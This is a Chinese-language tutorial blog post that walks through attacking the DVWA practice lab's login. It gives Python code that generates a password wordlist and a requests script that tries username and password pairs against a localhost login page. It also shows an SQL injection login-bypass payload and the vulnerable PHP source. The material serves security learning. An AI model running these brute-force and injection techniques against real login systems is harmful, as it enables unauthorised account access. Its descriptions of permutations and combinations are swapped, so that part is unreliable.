python专场——暴力破解(DVWA)

用python编写针对登陆的暴力破解程序

工作原理

首先这是一种针对用户名密码登陆的情况,用户输入用户名和密码,只要与服务器保存的信息相一致就可以获得对应的权限。

暴力破解的三种思路

通常用户名不会作为隐私,当获得用户名之后就可以使用暴力破解的方法(暴力破解即逐个尝试

  • 纯字典攻击:需要合适的字典文件;利用攻击工具将用户名和字典文件中的密码组合起来,依次尝试
  • 混合攻击:需要字典;依靠一定的算法对字典文件中的单词进行处理之后再使用。一般的算法就是在一些单词前后添加常见的数字
  • 完全暴力攻击:不需要字典;由攻击工具直接穷举出来,缺点时间长

生成字典文件

  • 常见的字典文件的格式txtordic

  • 生成字典文件的两个条件
    ①指定字典文件中包含的词汇长度;
    ②制定的字典文件中包含的词汇所使用的字符。

  • python内置模块——itertools

    • 无穷循环器函数
      • count():产生递增的序列;
      • cycle():重复序列中的元素;
      • repeat():重复元素,构成无穷循环器;
    • 无穷循环器的组合操作的函数
      • product():获得多个无穷循环器的笛卡尔积;
      • permutations(‘abcd’,2):从abcd中挑选两个元素,无顺序;
      • combinations(‘abcd’,2):从abcd中挑选两个元素,有顺序;
  • 字典文件生成过程

    1. 导入itertools模块:
      import itertools

    2. 指定生成字典文件的字符(这里以数字和字母为例)
      word = "1234567890abcdefghijklmnopqrstuvwxyz"

    3. 使用itertools模块中提供的无穷循环器来生成字典(这里以permutations为例,生成六位密码)
      temp = itertools.permutations(wors,6)

    4. 打开一个用于保存结果的记事本文件。

      passwords = open("pas.txt","a")

      a表示打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾;也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。更多参数点这里

    5. 使用一个循环将生成的密码写入记事本文件中

      for i in temp:
      	passwords.write("".join(i))
      	passwords.write("".join("\n"))
      

      join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。

    • 完整程序

      import itertools
      words = "1234567890abcdefghijklmnopqrstuvwxyz"
      temp =  itertools.permutations(words,6)
      passwords = open("psw.txt","a")
      
      for i in temp:
      	passwords.write("".join(i))
      	passwords.write("".join("\n"))
      

DVWA登陆的暴力破解程序

# 暴力破解程序
import requests

with open("admin.txt", 'r', encoding='utf-8') as names:
    for username in names:
        with open("password.txt", 'r', encoding='utf-8') as passwords:
            for password in passwords:
                url = "http://127.0.0.1/DVWA-master/login.php"
                data = {
                    "username": username.strip(),
                    "password": password.strip(),
                    "Login": "Login"
                }
                print('\n')
                print('用户名:', username.strip())
                print('密码:', password.strip())

                r = requests.post(url, data=data)
                if 'Login failed' in r.text:
                    print('破解失败')
                else:
                    print('破解成功')

strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。

Brute Force(暴力破解)

在这里插入图片描述
先随便输入admin密码
在这里插入图片描述
输入username=admin,password=1,登陆失败
在这里插入图片描述
发现有三个get传参的变量,尝试一下一些简单的万能密码,最后猜测出payload为/?username=admin' or '1'='1 &password=1&Login=Login#
在这里插入图片描述
登陆成功

查看源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

题目信息提示Brute Force暴力破解,应该是要用到burpsuite的一些工具

由于这里是python专场,我们这里用python编写针对登陆的暴力破解程序
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值